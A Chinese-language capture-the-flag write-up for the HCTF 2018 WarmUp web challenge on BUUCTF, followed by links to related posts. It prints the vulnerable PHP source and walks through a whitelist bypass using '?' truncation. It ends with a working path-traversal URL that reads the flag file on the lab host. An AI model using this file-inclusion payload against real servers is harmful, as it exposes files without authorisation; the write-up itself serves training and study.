[BUUCTF][Web][HCTF 2018]WarmUp 1
这题已经标识为php 代码审计题,那么需要搞到源码才行
打开靶机对应的url,展示的是一张笑脸图片
右键查看网页源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
这里显示存在一个叫 source.php的文件
尝试访问 source.php
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/source.php
居然得到了源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
从源码可知,存在一个叫hint.php的文件,同时可以作为file的参数传入,构造url
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=hint.php
得到以下回显,这里有重要信息
flag not here, and flag in ffffllllaaaagggg
这里有个题眼,flag在ffffllllaaaagggg文件中,现在就需要构造目录穿越的渗透方式,来或者这个文件的内容,这里可以推测肯定是在上几层的目录中,否则很难搞定
继续阅读源码 checkFile 函数,看有没有什么方式可以绕过
// 1.
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//2.
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
问题就出现在这一段
1处, 首先将传入的参数以问号处截断,然后判断 ?以前的字符串是否在白名单中,如果在就通过。
那么可以构造一个这样的url试一下
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=source.php?./ffffllllaaaagggg
如果没有通过检查,源码可知,一定会报you can't see it
这个url展示一片空白,那么说明这个套路没问题,继续向上加层级尝试
最后得到这个url ok:
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81?file=source.php?../../../../../../../../../ffffllllaaaagggg
得到flag
flag{99e0c3c4-e30d-48ea-a8ea-f55603c0ec7f}
[BUUCTF][Web][HCTF 2018]WarmUp 1的更多相关文章
- 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup
攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...
- [原题复现]HCTF 2018 Warmup(文件包含)
HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...
- [BUUOJ记录] [HCTF 2018]WarmUp
BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...
- [HCTF 2018]WarmUp
靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php highlight_file(__FILE__) ...
- [HCTF 2018]WarmUp 1
主页面是一个滑稽 得到source.php 观看源码,提示source.php 访问看到源码 <?php highlight_file(__FILE__); class emmm { publi ...
- 刷题[HCTF 2018]WarmUp
解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...
- CTF-WEB-HCTF 2018 Warmup
题目链接 攻防世界-Warmup 解题思路 [原题复现]HCTF 2018 Warmup(文件包含)
- BUUCTF | [HCTF 2018]admin
首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“, ...
- warmup(HCTF 2018)
为啥想写这道题的wp呢,因为这道题就是照着phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)复现出来的 题目 查看源码很容易找到source.php,直接访问 分析 题 ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
随机推荐
- [转帖]Linux—微服务启停shell脚本编写模板
https://www.jianshu.com/p/1e1080a39dc5 run.sh #!/bin/bash if [ -s java.pid ] then echo "重复启动,退出 ...
- [转帖]查询机器序列号--Linux/esxi/windows
https://www.jianshu.com/p/6abaea79e0c3 Ipmitool--Linux&Esxi&Windows # ipmitool fru list|grep ...
- 【转帖】python 安装whl文件
前言 WHL文件是以Wheel格式保存的Python安装包,Wheel是Python发行版的标准内置包格式.在本质上是一个压缩包,WHL文件中包含了Python安装的py文件和元数据,以及经过编译的p ...
- 记一次JSF异步调用引起的接口可用率降低
前言 本文记录了由于JSF异步调用超时引起的接口可用率降低问题的排查过程,主要介绍了排查思路和JSF异步调用的流程,希望可以帮助大家了解JSF的异步调用原理以及提供一些问题排查思路.本文分析的JSF源 ...
- 一种读取亿级doris数据库的方法
工作中,常常需要将线上doris同步至集市.读取doris数据同读取常规mysql基本相同.如果数据行小于千万,比较简单的方式直接单节点连接.读取和存储.Python示例如下: def get_dat ...
- 最佳实践:基于vite3的monorepo前端工程搭建
一.技术栈选择 1.代码库管理方式-Monorepo: 将多个项目存放在同一个代码库中 选择理由1:多个应用(可以按业务线产品粒度划分)在同一个repo管理,便于统一管理代码规范.共享工作流 选择理由 ...
- 探索 GO 项目依赖包管理与Go Module常规操作
探索 GO 项目依赖包管理与Go Module常规操作 目录 探索 GO 项目依赖包管理与Go Module常规操作 一.Go 构建模式的演变 1.1 GOPATH (初版) 1.1.1 go get ...
- 压缩软件 WinRAR 去广告
别去中国的那个代理网站下载 去国外的官网下载英文版或者湾湾版的, 这样用网上的rarreg.key文件方式就没有广告了, 不然中国的就是有广告. 这里是湾湾版的链接: https://pan.baid ...
- vue实现简易瀑布流
实现效果 1.不同屏幕尺寸下根据可视区域宽度判断 应该 放几列,这里用onresize演示 2.鼠标滚动到已加载数据的底部时再次请求数据,重新计算哪一列高度最小,push到最小的那一列 实现思路 1. ...
- static_cast, dynamic_cast与reinterpret_cast的区别
在C++中,static_cast, dynamic_cast和reinterpret_cast都可用于类型转换,它们在具体使用时有什么区别?此外,更为重要的是,为什么不推荐使用强制类型转换? 1. ...